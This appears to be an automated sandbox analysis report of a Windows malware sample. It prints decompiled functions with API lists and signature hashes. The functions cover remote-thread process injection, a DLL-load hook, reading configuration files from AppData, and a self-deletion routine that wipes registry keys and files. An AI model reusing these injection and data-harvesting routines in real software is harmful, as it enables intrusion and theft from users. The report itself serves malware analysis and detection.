											_push((_v1028.wYear & 0x0000ffff) - 0x7d0);
											_push( &_v804);
											E0040EF28( &_v876, 0x104,  &_v540, _t306);
											_t309 = _t309 + 0x14;
											E0041E3F3(_t259, 0x104, 2, 0,  &_v540, _v1068, _v1080);
											_t286 = _v1084;
										}
									}
									E0040E235(_v1052);
									_t294 = 0;
								}
								if( *((intOrPtr*)(_t286 - 4)) != _t294) {
									if(( *(_t286 - 0x10) & 0x00000010) == 0) {
										EnterCriticalSection(0x4227b0);
										E0040E235( *0x4227c8);
										_t168 = E0040E693(E0040E235( *0x4227cc) | 0xffffffff,  *((intOrPtr*)(_t286 - 0xc)));
										 *0x4227c8 = _t168;
										__eflags = _t168 | 0xffffffff;
										 *0x4227cc = E0040E693(_t168 | 0xffffffff,  *((intOrPtr*)(_t286 - 4)));
										LeaveCriticalSection(0x4227b0);
										goto L51;
									}
									E00405716( &_v860, _t259, 1,  &_v996);
									if(E0040F4DA( &_v900,  *((intOrPtr*)(_t286 - 4)), E0040ED72( *((intOrPtr*)(_t286 - 4)))) == 0) {
										goto L51;
									}
									_t261 =  &_v860;
									do {
										E0040E59D( *((intOrPtr*)(_t309 + _t294 + 0xb8)), _t261);
										_t294 = _t294 + 1;
										_t261 = _t261 + 4;
									} while (_t294 < 0x10);
									 *_t261 = 0;
									GetLocalTime( &_v876);
									E00412646(_t261,  &_v996,  &_v860, 3,  &_v876, 0x10);
								}
								goto L51;
							} else {
								goto L9;
								L13:
								_t279 =  *_t211 & 0x0000ffff;
								if(_t279 != 4) {
									_t259 = _t211 + 4;
									_t218 = E00407500(_v1028.wHour, _t211 + 4, 0,  &_v1056, _t279 - 4,  *_t254 + _v1060,  *_a12 - _v1060);
									__eflags = _t218;
									if(_t218 == 0) {
										L33:
										if(_v1028.wYear < _v1028.wSecond) {
											_t259 = _v1028.wYear;
											L9:
											_t211 = ( *_t259 & 0x0000ffff) + _t259;
											_t296 = ( *_t211 & 0x0000ffff) + _t211;
											_v1028.wYear = _t296 + ( *_t296 & 0x0000ffff);
											_t279 =  *_t259 & 0x0000ffff;
											_v1036 = _t259;
											_v1044 = _t211;
											_v1040 = _t296;
											if(( *_t259 & 0x0000ffff) != 4) {
												goto L11;
											} else {
												_v1060 = _v1060 & 0x00000000;
												goto L13;
											}
										}
										_t286 = _v1048;
										goto L35;
									}
									__eflags =  *_v1036 - 4;
									_t298 = _v1040;
									if( *_v1036 != 4) {
										_t54 =  &_v1056;
										 *_t54 = _v1056 + _v1060;
										__eflags =  *_t54;
									} else {
										_v1060 = _v1056;
									}
									L22:
									_t259 = _v1056 - _v1060;
									_t222 =  *(_v1048 - 0x10);
									_t291 = ( *_t298 & 0x0000ffff) - 4;
									_v1044 = _t259;
									if((_t222 & 0x00000004) == 0) {
										__eflags = _t222 & 0x00000008;
										if((_t222 & 0x00000008) != 0) {
											_t224 = E0040E1C0(_t259 + _t291 + _v1064 + 2,  &_v1052);
											__eflags = _t224;
											if(_t224 != 0) {
												_t301 = _v1052;
												__eflags = _t291;
												if(_t291 != 0) {
													E0040E271(_v1064 + _t301,  &(_v1040[2]), _t291);
													_t84 =  &_v1076;
													 *_t84 = _v1076 + _t291;
													__eflags =  *_t84;
												}
												_t279 = _v1044;
												_t227 = E0040E271(_v1064 + _t301,  *_t254 + _v1060, _t279);
												_t259 = _v1060;
												__eflags =  *(_t259 - 0x10) & 0x00000100;
												if(( *(_t259 - 0x10) & 0x00000100) == 0) {
													_t228 = E00412F0B(_t227, _t279);
													_t95 =  &_v1068;
													 *_t95 = _v1068 + _t228;
													__eflags =  *_t95;
													_t254 = _a8;
												} else {
													_v1064 = _v1064 + _t279;
												}
												_t229 = _v1064;
												 *((char*)(_t229 + _t301)) = 0xa;
												_t230 = _t229 + 1;
												__eflags = _t230;
												_v1064 = _t230;
												 *((char*)(_t230 + _t301)) = 0;
											}
										}
									} else {
										_v1036 =  *_a12 - _t259 + _t291;
										_t240 = E0040E205( *_a12 - _t259 + _t291);
										_v1044 = _t240;
										if(_t240 != 0) {
											_t279 = _v1060;
											_t242 = E0040E271(E0040E271(_t240,  *_t254, _v1060) + _v1060,  &(_t298[2]), _t291);
											_t303 = _a12;
											_t259 =  *_t254 + _v1080;
											E0040E271(_t242 + _t291 + _v1060,  *_t254 + _v1080,  *_t303 - _v1080);
											E0040E235( *_t254);
											_v1072 = _v1072 + 1;
											 *_t254 = _v1084;
											 *_t303 = _v1076;
										}
									}
									goto L33;
								}
								if( *_t259 != _t279) {
									_t250 = _v1060;
								} else {
									_t250 =  *_a12;
								}
								_v1056 = _t250;
								goto L22;
								L11:
								_t215 = E00407500(_v1028.wHour, _t259,  &_v1060, 0, _t279 - 4,  *_t254,  *_a12);
								__eflags = _t215;
								if(_t215 == 0) {
									goto L33;
								}
								_t298 = _v1040;
								_t211 = _v1044;
								_t259 = _v1036;
								goto L13;
							}
						}
						_v996 = 0x2a3f;
						_v992 = _t258;
						_t160 = E0040ED72(_t258);
						_t254 = _a8;
						_v988 = _t160;
						_v984 =  *_t254;
						_t279 = _t279 | 0x00000012;
						_v980 =  *_a12;
						_v968 = _t279;
						if(E0040F1B9( &_v996) != 0) {
							goto L6;
						}
						L51:
						_t286 = _t286 + 0x1c;
						_t150 =  &(_v1028.wDayOfWeek);
						 *_t150 = _v1028.wDayOfWeek - 1;
						_v1048 = _t286;
					} while ( *_t150 != 0);
					goto L52;
				}
			}

0x004081e4
0x004081ea
0x004081f4
0x0040867f
0x00408686
0x0040868f
0x004081fa
0x004081fa
0x004081fd
0x00408201
0x00408205
0x00408208
0x0040820d
0x00408210
0x00408216
0x00408258
0x0040825b
0x0040825b
0x00408261
0x00408266
0x0040826b
0x0040826d
0x00408273
0x00408475
0x00408475
0x00408478
0x0040847c
0x00408491
0x00408556
0x00408558
0x0040855a
0x00408562
0x00408563
0x00408568
0x00408578
0x0040857d
0x00408581
0x00408581
0x00408497
0x00408499
0x004084a1
0x004084ad
0x004084b5
0x004084b6
0x004084b7
0x004084b8
0x004084bb
0x004084bf
0x004084d0
0x004084e5
0x004084ed
0x004084f4
0x004084f5
0x004084ff
0x00408505
0x00408510
0x00408518
0x00408528
0x0040852d
0x0040853f
0x00408544
0x00408544
0x004084d0
0x0040858a
0x0040858f
0x0040858f
0x00408594
0x0040859e
0x0040862b
0x00408637
0x0040864d
0x00408652
0x0040865a
0x00408663
0x00408668
0x00000000
0x00408668
0x004085b2
0x004085d0
0x00000000
0x00000000
0x004085d6
0x004085dd
0x004085e4
0x004085e9
0x004085ea
0x004085ed
0x004085f4
0x004085ff
0x0040861e
0x0040861e
0x00000000
0x00408279
0x00408279
0x004082de
0x004082de
0x004082e4
0x00408317
0x0040831e
0x00408323
0x00408325
0x00408463
0x0040846b
0x0040827b
0x0040827f
0x00408282
0x00408287
0x0040828e
0x00408292
0x00408295
0x00408299
0x0040829d
0x004082a4
0x00000000
0x004082a6
0x004082a6
0x00000000
0x004082a6
0x004082a4
0x00408471
0x00000000
0x00408471
0x0040832f
0x00408333
0x00408337
0x00408347
0x00408347
0x00408347
0x00408339
0x0040833d
0x0040833d
0x0040834b
0x00408356
0x0040835a
0x0040835d
0x00408360
0x00408366
0x004083d8
0x004083da
0x004083ee
0x004083f3
0x004083f5
0x004083f7
0x004083fb
0x004083fd
0x0040840f
0x00408414
0x00408414
0x00408414
0x00408414
0x0040841a
0x0040842b
0x00408430
0x00408434
0x0040843b
0x00408446
0x0040844b
0x0040844b
0x0040844b
0x0040844f
0x0040843d
0x0040843d
0x0040843d
0x00408452
0x00408456
0x0040845a
0x0040845a
0x0040845b
0x0040845f
0x0040845f
0x004083f5
0x00408368
0x00408371
0x00408375
0x0040837a
0x00408380
0x00408386
0x0040839c
0x004083a1
0x004083af
0x004083b7
0x004083be
0x004083c7
0x004083cb
0x004083d1
0x004083d1
0x00408380
0x00000000
0x00408366
0x004082e9
0x004082f2
0x004082eb
0x004082ee
0x004082ee
0x004082f6
0x00000000
0x004082ad
0x004082c5
0x004082ca
0x004082cc
0x00000000
0x00000000
0x004082d2
0x004082d6
0x004082da
0x00000000
0x004082da
0x00408273
0x00408218
0x0040821f
0x00408223
0x00408228
0x0040822b
0x00408231
0x0040823a
0x00408241
0x00408245
0x00408250
0x00000000
0x00408256
0x0040866e
0x0040866e
0x00408671
0x00408671
0x00408675
0x00408675
0x00000000
0x00408205

APIs

GetSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?), ref: 004084E5
GetLocalTime.KERNEL32(?,?,?,00000000,00000001,?,-004227A4,?,?), ref: 004085FF
EnterCriticalSection.KERNEL32(004227B0,-004227A4,?,?), ref: 0040862B
LeaveCriticalSection.KERNEL32(004227B0,?,?), ref: 00408668

Strings

?*, xrefs: 00408218

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSectionTime$EnterLeaveLocalSystem
String ID: ?*
API String ID: 3574070720-3267162389
Opcode ID: eb7d64d8592d4c92f84b58a33ffc532671140a5e019e21f65abf0650d8322dbd
Instruction ID: d31dbc7f7a59278b5c46b9d0ceff2163385ce6d75f4e5bd458d5f03417d7fed9
Opcode Fuzzy Hash: eb7d64d8592d4c92f84b58a33ffc532671140a5e019e21f65abf0650d8322dbd
Instruction Fuzzy Hash: FAE16971508341AFD710DF69C980A6BB7E8FF88714F004D2EF895A7291DB38E915CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 0041D515, Relevance: 9.1, APIs: 6, Instructions: 78
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E0041D515(void* __ecx, void* __eflags) {
				char _v1168;
				char _v1668;
				char _v1680;
				short _v1688;
				char _v2192;
				short _v2208;
				char _v2720;
				char _v2728;
				char _v2992;
				char _v3072;
				void* __edi;
				void* __esi;
				void* _t34;
				WCHAR* _t49;
				WCHAR* _t50;
				WCHAR* _t51;
				void* _t64;

				_t64 = __eflags;
				_t45 = __ecx;
				_t49 =  &_v1668;
				E00405688(__ecx, _t49, 1);
				PathRemoveFileSpecW(_t49);
				_t50 =  &_v2192;
				E00405688(_t45, _t50, 2);
				PathRemoveFileSpecW(_t50);
				 *0x4222a8 =  *0x4222a8 | 0x00000002;
				_push(0);
				E0041C8D3();
				E00409529(_t45, _t64);
				E00413951( &_v1680, _t64);
				E00413951(_t50, _t64);
				_t51 =  &_v2720;
				E00405688(_t50, _t51, 3);
				SHDeleteKeyW(0x80000001, _t51);
				CharToOemW( &_v1688,  &_v2728);
				CharToOemW( &_v2208,  &_v2992);
				_t52 =  &_v3072;
				_t34 = 7;
				E0040734E(_t34,  &_v3072);
				_push( &_v2992);
				_push( &_v2728);
				_push( &_v2992);
				_push( &_v2728);
				if(E0040EF6C( &_v3072, 0x474,  &_v1168, _t52) > 0) {
					E0040FD42(0x474,  &_v1168);
				}
				if( *0x422770 == 0xffffffff) {
					ExitProcess(0);
				}
				return 1;
			}

0x0041d515
0x0041d515
0x0041d525
0x0041d52c
0x0041d53a
0x0041d53e
0x0041d545
0x0041d54d
0x0041d54f
0x0041d556
0x0041d558
0x0041d55d
0x0041d569
0x0041d570
0x0041d577
0x0041d57e
0x0041d58b
0x0041d5a7
0x0041d5b6
0x0041d5ba
0x0041d5be
0x0041d5bf
0x0041d5c8
0x0041d5d0
0x0041d5d5
0x0041d5dd
0x0041d5f7
0x0041d5fc
0x0041d5fc
0x0041d608
0x0041d60c
0x0041d60c
0x0041d619

APIs

Part of subcall function 00405688: PathRenameExtensionW.SHLWAPI(?,.dat,?,00422308,00000000,00000032,?,77109EB0,00000000), ref: 00405701

PathRemoveFileSpecW.SHLWAPI(?,00000001), ref: 0041D53A
PathRemoveFileSpecW.SHLWAPI(?,00000002), ref: 0041D54D

Part of subcall function 0041C8D3: SetEvent.KERNEL32(0041D55D,00000000), ref: 0041C8D9
Part of subcall function 0041C8D3: WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 0041C8EC

Part of subcall function 00409529: SHDeleteValueW.SHLWAPI(80000001,?,?,FF220829,?,00000000), ref: 00409566
Part of subcall function 00409529: Sleep.KERNEL32(000001F4), ref: 00409575
Part of subcall function 00409529: RegOpenKeyExW.ADVAPI32(80000001,?,00000000,00000001,?), ref: 0040958B

Part of subcall function 00413951: FindFirstFileW.KERNEL32(?,?,?,?,?,00000000), ref: 00413982
Part of subcall function 00413951: FindNextFileW.KERNEL32(00000000,?,?,00000000), ref: 004139DD
Part of subcall function 00413951: FindClose.KERNEL32(00000000,?,00000000), ref: 004139E8
Part of subcall function 00413951: SetFileAttributesW.KERNEL32(?,00000080,?,?,?,00000000), ref: 004139F4
Part of subcall function 00413951: RemoveDirectoryW.KERNEL32(?,?,00000000), ref: 004139FB

SHDeleteKeyW.SHLWAPI(80000001,?,00000003,00000000), ref: 0041D58B
CharToOemW.USER32 ref: 0041D5A7
CharToOemW.USER32 ref: 0041D5B6
ExitProcess.KERNEL32 ref: 0041D60C

Part of subcall function 0040FD42: CharToOemW.USER32 ref: 0040FD74
Part of subcall function 0040FD42: lstrcpyW.KERNEL32(?,0d!#&t#), ref: 0040FDCF
Part of subcall function 0040FD42: lstrcpyW.KERNEL32(?,DpnTqfd), ref: 0040FE1B
Part of subcall function 0040FD42: GetEnvironmentVariableW.KERNEL32(?,?,00000104,?,?,?,00000000), ref: 0040FE45

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: File$CharFindPathRemove$DeleteSpeclstrcpy$AttributesCloseDirectoryEnvironmentEventExitExtensionFirstNextObjectOpenProcessRenameSingleSleepValueVariableWait
String ID:
API String ID: 305553959-0
Opcode ID: 04c3ba1909a666212d1f19fd0d44d0e1203f6a08dc934a1095d20cba068d65c0
Instruction ID: e3d91ad86b0a90a7392a4802cf2da83686493f8603bff3e87620cb29fa86c673
Opcode Fuzzy Hash: 04c3ba1909a666212d1f19fd0d44d0e1203f6a08dc934a1095d20cba068d65c0
Instruction Fuzzy Hash: AE21C472A08344ABC630A7A5DD0AFDB779CEB84314F400A2BB54CE7191DB75A905CB96

Uniqueness

Uniqueness Score: -1.00%

Function 0041EA78, Relevance: 9.1, APIs: 6, Instructions: 54
synchronizationthreadinjectionCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E0041EA78(void* __ecx, long _a4, intOrPtr _a8) {
				char _v5;
				void* __edi;
				void* __esi;
				void* _t10;
				void* _t14;
				void* _t23;
				void* _t25;
				void* _t26;

				_t21 = __ecx;
				_push(__ecx);
				_v5 = 0;
				_t23 = OpenProcess(0x47a, 0, _a4);
				_t28 = _t23;
				if(_t23 != 0) {
					_push(_t25);
					_t10 = E004053A2(_t21, _t23, _t25, _t28, _a8, 0);
					_t26 = _t10;
					if(_t26 != 0) {
						_t14 = CreateRemoteThread(_t23, 0, 0, _t10 -  *0x4222bc + E00405B52, 0, 0, 0);
						_a4 = _t14;
						if(_t14 == 0) {
							VirtualFreeEx(_t23, _t26, 0, 0x8000);
						} else {
							WaitForSingleObject(_t14, 0x2710);
							CloseHandle(_a4);
							_v5 = 1;
						}
					}
					CloseHandle(_t23);
				}
				return _v5;
			}

0x0041ea78
0x0041ea7b
0x0041ea89
0x0041ea92
0x0041ea94
0x0041ea96
0x0041ea98
0x0041ea9d
0x0041eaa2
0x0041eaa6
0x0041eaba
0x0041eac0
0x0041eac5
0x0041eaea
0x0041eac7
0x0041eacd
0x0041ead6
0x0041eadc
0x0041eadc
0x0041eac5
0x0041eaf1
0x0041eaf7
0x0041eafe

APIs

OpenProcess.KERNEL32(0000047A,00000000,?,00000000,73BCF560,?,?,0041EC66,?,?,00000000), ref: 0041EA8C
CreateRemoteThread.KERNEL32(00000000,00000000,00000000,-00827E0E,00000000,00000000,00000000), ref: 0041EABA
WaitForSingleObject.KERNEL32(00000000,00002710,?,0041EC66,?,?,00000000), ref: 0041EACD
CloseHandle.KERNEL32(?,?,0041EC66,?,?,00000000), ref: 0041EAD6
VirtualFreeEx.KERNEL32(00000000,00000000,00000000,00008000,?,0041EC66,?,?,00000000), ref: 0041EAEA
CloseHandle.KERNEL32(00000000,?,00000000,?,?,0041EC66,?,?,00000000), ref: 0041EAF1

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseHandle$CreateFreeObjectOpenProcessRemoteSingleThreadVirtualWait
String ID:
API String ID: 14861764-0
Opcode ID: 855617217e5ced0c513eedb16b1b80e1879944a3f3d2ea37312c95da7d100cde
Instruction ID: 59ddf02432b3a1cbe68bdfb2bd5bad9ff526a944f6aadcb8a1d3081d757c7a4e
Opcode Fuzzy Hash: 855617217e5ced0c513eedb16b1b80e1879944a3f3d2ea37312c95da7d100cde
Instruction Fuzzy Hash: 8301B1B6144158BFEB116F659CC8EBF3E6CEB493D5B048079FA41A6120C6798C468778

Uniqueness

Uniqueness Score: -1.00%

Function 00406156, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 129
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E00406156(void* __eflags, char _a4) {
				signed int _v5;
				short _v20;
				char _v40;
				char _v60;
				short _v84;
				char _v112;
				char _v144;
				short _v664;
				char _v1184;
				short _v1704;
				char _v2224;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t31;
				long _t33;
				void* _t36;
				void* _t42;
				void* _t44;
				void* _t46;
				long _t50;
				short* _t58;
				char* _t65;
				short _t66;
				void* _t67;
				WCHAR* _t70;
				long _t77;

				_t31 = 0x2a;
				E00407384(_t31,  &_v144);
				_t33 =  &_v1184;
				__imp__SHGetFolderPathW(0, 0x1a, 0, 0, _t33);
				if(_t33 == 0) {
					_t33 = E00413B62( &_v144,  &_v1184,  &_v1184);
					if(_t33 != 0) {
						_t36 = 0x2c;
						E00407384(_t36,  &_v112);
						_t33 = E00413B62( &_v112,  &_v1704,  &_v1184);
						if(_t33 != 0) {
							_t33 = GetFileAttributesW( &_v1704);
							if(_t33 != 0xffffffff) {
								_t42 = 0x2d;
								E00407384(_t42,  &_v60);
								_t44 = 0x2e;
								E00407384(_t44,  &_v84);
								_t46 = 0x2f;
								E00407384(_t46,  &_v20);
								_v5 = 0;
								while(1) {
									_push(_v5 & 0x000000ff);
									_push( &_v60);
									_t67 = 0xa;
									_t70 =  &_v40;
									_t50 = E0040EF28( &_v60, _t67, _t70);
									if(_t50 < 1) {
										break;
									}
									_t50 = GetPrivateProfileIntW(_t70,  &_v84, 0xffffffff,  &_v1704);
									_t77 = _t50;
									if(_t77 == 0xffffffff) {
										break;
									}
									_t50 = GetPrivateProfileStringW(_t70,  &_v20, 0,  &_v664, 0x104,  &_v1704);
									if(_t50 == 0) {
										L17:
										_v5 = _v5 + 1;
										if(_v5 < 0xfa) {
											continue;
										}
										break;
									}
									_t58 =  &_v664;
									if(_v664 == 0) {
										L12:
										if(_t77 != 1) {
											_t65 =  &_v664;
											L16:
											_t27 =  &_a4; // 0x406478
											_t50 = E004062DD(0, _t65,  *_t27, _t90);
											if(_t50 == 0) {
												break;
											}
											goto L17;
										}
										_t50 = E00413B62( &_v664,  &_v2224,  &_v1184);
										_t90 = _t50;
										if(_t50 == 0) {
											goto L17;
										}
										_t65 =  &_v2224;
										goto L16;
									} else {
										goto L9;
									}
									do {
										L9:
										if( *_t58 == 0x2f) {
											_t66 = 0x5c;
											 *_t58 = _t66;
										}
										_t58 = _t58 + 2;
									} while ( *_t58 != 0);
									goto L12;
								}
								return _t50;
							}
						}
					}
				}
				return _t33;
			}

0x00406169
0x0040616a
0x0040616f
0x0040617d
0x00406185
0x00406195
0x0040619c
0x004061a7
0x004061a8
0x004061bd
0x004061c4
0x004061d1
0x004061da
0x004061e5
0x004061e6
0x004061f0
0x004061f1
0x004061fb
0x004061fc
0x00406201
0x00406205
0x00406209
0x0040620d
0x00406210
0x00406211
0x00406214
0x0040621e
0x00000000
0x00000000
0x00406234
0x0040623a
0x0040623f
0x00000000
0x00000000
0x00406260
0x00406268
0x004062c9
0x004062c9
0x004062d0
0x00000000
0x00000000
0x00000000
0x004062d0
0x0040626a
0x00406277
0x0040628d
0x00406290
0x004062b7
0x004062bd
0x004062bd
0x004062c0
0x004062c7
0x00000000
0x00000000
0x00000000
0x004062c7
0x004062a6
0x004062ab
0x004062ad
0x00000000
0x00000000
0x004062af
0x00000000
0x00000000
0x00000000
0x00000000
0x00406279
0x00406279
0x0040627d
0x00406281
0x00406282
0x00406282
0x00406285
0x00406288
0x00000000
0x00406279
0x00000000
0x004062d6
0x004061da
0x004061c4
0x0040619c
0x004062da

APIs

SHGetFolderPathW.SHELL32(00000000,0000001A,00000000,00000000,?,?,00000000), ref: 0040617D

Part of subcall function 00413B62: PathCombineW.SHLWAPI(?,}L@,?,00404C7D,?,?), ref: 00413B81

GetFileAttributesW.KERNEL32(?,?,?,?,?), ref: 004061D1
GetPrivateProfileIntW.KERNEL32 ref: 00406234
GetPrivateProfileStringW.KERNEL32 ref: 00406260

Strings

xd@, xrefs: 004062BD

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: PathPrivateProfile$AttributesCombineFileFolderString
String ID: xd@
API String ID: 1702184609-3538816969
Opcode ID: c1abc470ed8056eab420509b21a96cabe07f290db6402c70ab308eea944150a3
Instruction ID: 9a66070438da0a09d14ece4fd242b5ad9759db7cf02e74eff29b3340575bc9c2
Opcode Fuzzy Hash: c1abc470ed8056eab420509b21a96cabe07f290db6402c70ab308eea944150a3
Instruction Fuzzy Hash: 32419272900228AAEF10FAA48C45EEE737CAB45314F0105FBEA45F71D1D7789E898B59

Uniqueness

Uniqueness Score: -1.00%

Function 0041C32F, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 64
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E0041C32F(void* _a4, WCHAR* _a8) {
				char _v40;
				char _v160;
				char _v680;
				void* __edi;
				void* __esi;
				void** _t11;
				void* _t13;
				void* _t16;
				void* _t18;
				void* _t23;
				void* _t28;
				void* _t30;
				WCHAR* _t34;

				_t11 =  &_a4;
				_t28 = 0;
				__imp__ConvertSidToStringSidW(_a4, _t11);
				if(_t11 != 0) {
					_t37 =  &_v160;
					_t13 = 4;
					E00407384(_t13,  &_v160);
					_push(_a4);
					_t34 =  &_v680;
					_t16 = E0040EF28(_t37, 0x104, _t34, _t37);
					_pop(_t30);
					if(_t16 > 0) {
						_t18 = 5;
						E00407384(_t18,  &_v40);
						_t23 = E004124EB(0x80000002, _t30, _t34, _t34,  &_v40, 0x104);
						if(_t23 != 0 && _t23 != 0xffffffff) {
							PathUnquoteSpacesW(_t34);
							ExpandEnvironmentStringsW(_t34, _a8, 0x104);
							asm("sbb bl, bl");
							_t28 = 1;
						}
					}
					LocalFree(_a4);
				}
				return _t28;
			}

0x0041c339
0x0041c340
0x0041c342
0x0041c34a
0x0041c354
0x0041c35a
0x0041c35b
0x0041c360
0x0041c36b
0x0041c371
0x0041c377
0x0041c37a
0x0041c381
0x0041c382
0x0041c399
0x0041c3a0
0x0041c3aa
0x0041c3b7
0x0041c3c3
0x0041c3c5
0x0041c3c5
0x0041c3a0
0x0041c3ca
0x0041c3d1
0x0041c3d6

APIs

ConvertSidToStringSidW.ADVAPI32(?,?), ref: 0041C342
LocalFree.KERNEL32(?,.exe,00000000), ref: 0041C3CA

Part of subcall function 004124EB: RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,00000000,00000104,00000000,?,?,0041C39E,?,?,00000104,.exe,00000000), ref: 00412500

PathUnquoteSpacesW.SHLWAPI(?,?,?,00000104,.exe,00000000), ref: 0041C3AA
ExpandEnvironmentStringsW.KERNEL32(?,0041D426,00000104), ref: 0041C3B7

Strings

.exe, xrefs: 0041C351

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: ConvertEnvironmentExpandFreeLocalOpenPathSpacesStringStringsUnquote
String ID: .exe
API String ID: 2200435814-4119554291
Opcode ID: d67daa565696e120542ec3a2fd99f1ac63c587dca73c47b468b27a89212f6fea
Instruction ID: 6610e532497db6231f4907eebee2485f9ced0eb6f838b7b53976f3f57e36993a
Opcode Fuzzy Hash: d67daa565696e120542ec3a2fd99f1ac63c587dca73c47b468b27a89212f6fea
Instruction Fuzzy Hash: A211E032640108ABEB10AB7ADD49ECF3BACDF45320F004426BC54E71A0D738D994CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00415743, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 61
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E00415743(WCHAR* _a4, long _a8, UNICODE_STRING* _a12, HMODULE* _a16) {
				void* _t15;
				long _t16;
				void* _t20;
				void* _t24;
				UNICODE_STRING* _t25;
				void* _t27;
				HMODULE* _t28;

				if(E0040548D() == 0) {
					goto ( *0x4222d8);
				}
				_t28 = _a16;
				_t25 = _a12;
				_t15 =  *0x4222dc(_a4, 0, _t25, _t28, _t24, _t27, _t20);
				_t16 = LdrLoadDll(_a4, _a8, _t25, _t28);
				_a4 = _t16;
				if(_t15 < 0 && _t16 >= 0 && _t28 != 0 &&  *_t28 != 0 && _t25 != 0) {
					EnterCriticalSection(0x423830);
					if(( *0x423848 & 0x00000001) == 0 && E0040D4D0( *((intOrPtr*)(_t25 + 4)),  *_t28) != 0) {
						 *0x423848 =  *0x423848 | 0x00000001;
					}
					if(( *0x423848 & 0x00000002) == 0 && E0040D5BB( *((intOrPtr*)(_t25 + 4)),  *_t28) != 0) {
						 *0x423848 =  *0x423848 | 0x00000002;
					}
					LeaveCriticalSection(0x423830);
				}
				return _a4;
			}

0x0041574d
0x00415750
0x00415750
0x00415758
0x0041575c
0x00415766
0x00415776
0x0041577c
0x00415781
0x0041579a
0x004157a7
0x004157b7
0x004157b7
0x004157c5
0x004157d5
0x004157d5
0x004157dd
0x004157dd
0x004157ea

APIs

Part of subcall function 0040548D: WaitForSingleObject.KERNEL32(00000000,004094C0,?,?,19367402,00000001), ref: 00405495

LdrGetDllHandle.NTDLL(?,00000000,?,?), ref: 00415766
LdrLoadDll.NTDLL(?,?,?,?), ref: 00415776
EnterCriticalSection.KERNEL32(00423830), ref: 0041579A
LeaveCriticalSection.KERNEL32(00423830), ref: 004157DD

Strings

08B, xrefs: 00415794

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$EnterHandleLeaveLoadObjectSingleWait
String ID: 08B
API String ID: 1121056478-1416077509
Opcode ID: 1d5f5dd4c2e622ceb493d4e757d0ad82fdb5466374b6f603defd1fdd5c41ec4d
Instruction ID: 12093af42d55352a215b0c24ae1f393349c237a2c4550b6637593306381081ca
Opcode Fuzzy Hash: 1d5f5dd4c2e622ceb493d4e757d0ad82fdb5466374b6f603defd1fdd5c41ec4d
Instruction Fuzzy Hash: 9D11DD30200614FBCB212F10ED46BD7BFA8EF80719F10002AFD10A62A1C37A98D1CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00410398, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 44
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E00410398() {
				char _v8;
				struct HINSTANCE__* _v12;
				void* _v1036;
				struct HINSTANCE__* _t13;
				_Unknown_base(*)()* _t15;
				char _t22;
				void* _t28;

				_t22 = 0;
				_t13 = LoadLibraryA("urlmon.dll");
				_v12 = _t13;
				if(_t13 != 0) {
					_t15 = GetProcAddress(_t13, "ObtainUserAgentString");
					if(_t15 != 0) {
						_push( &_v8);
						_push( &_v1036);
						_push(0);
						_v8 = 0x3ff;
						_v1036 = 0;
						if( *_t15() == 0) {
							if(_v8 > 0x3ff) {
								_v8 = 0x3ff;
							}
							 *((char*)(_t28 + _v8 - 0x408)) = _t22;
							_t22 = E0040E693( &_v1036 | 0xffffffff,  &_v1036);
						}
					}
					FreeLibrary(_v12);
				}
				return _t22;
			}

0x004103a7
0x004103a9
0x004103af
0x004103b4
0x004103bc
0x004103c4
0x004103ca
0x004103d1
0x004103d7
0x004103d8
0x004103db
0x004103e5
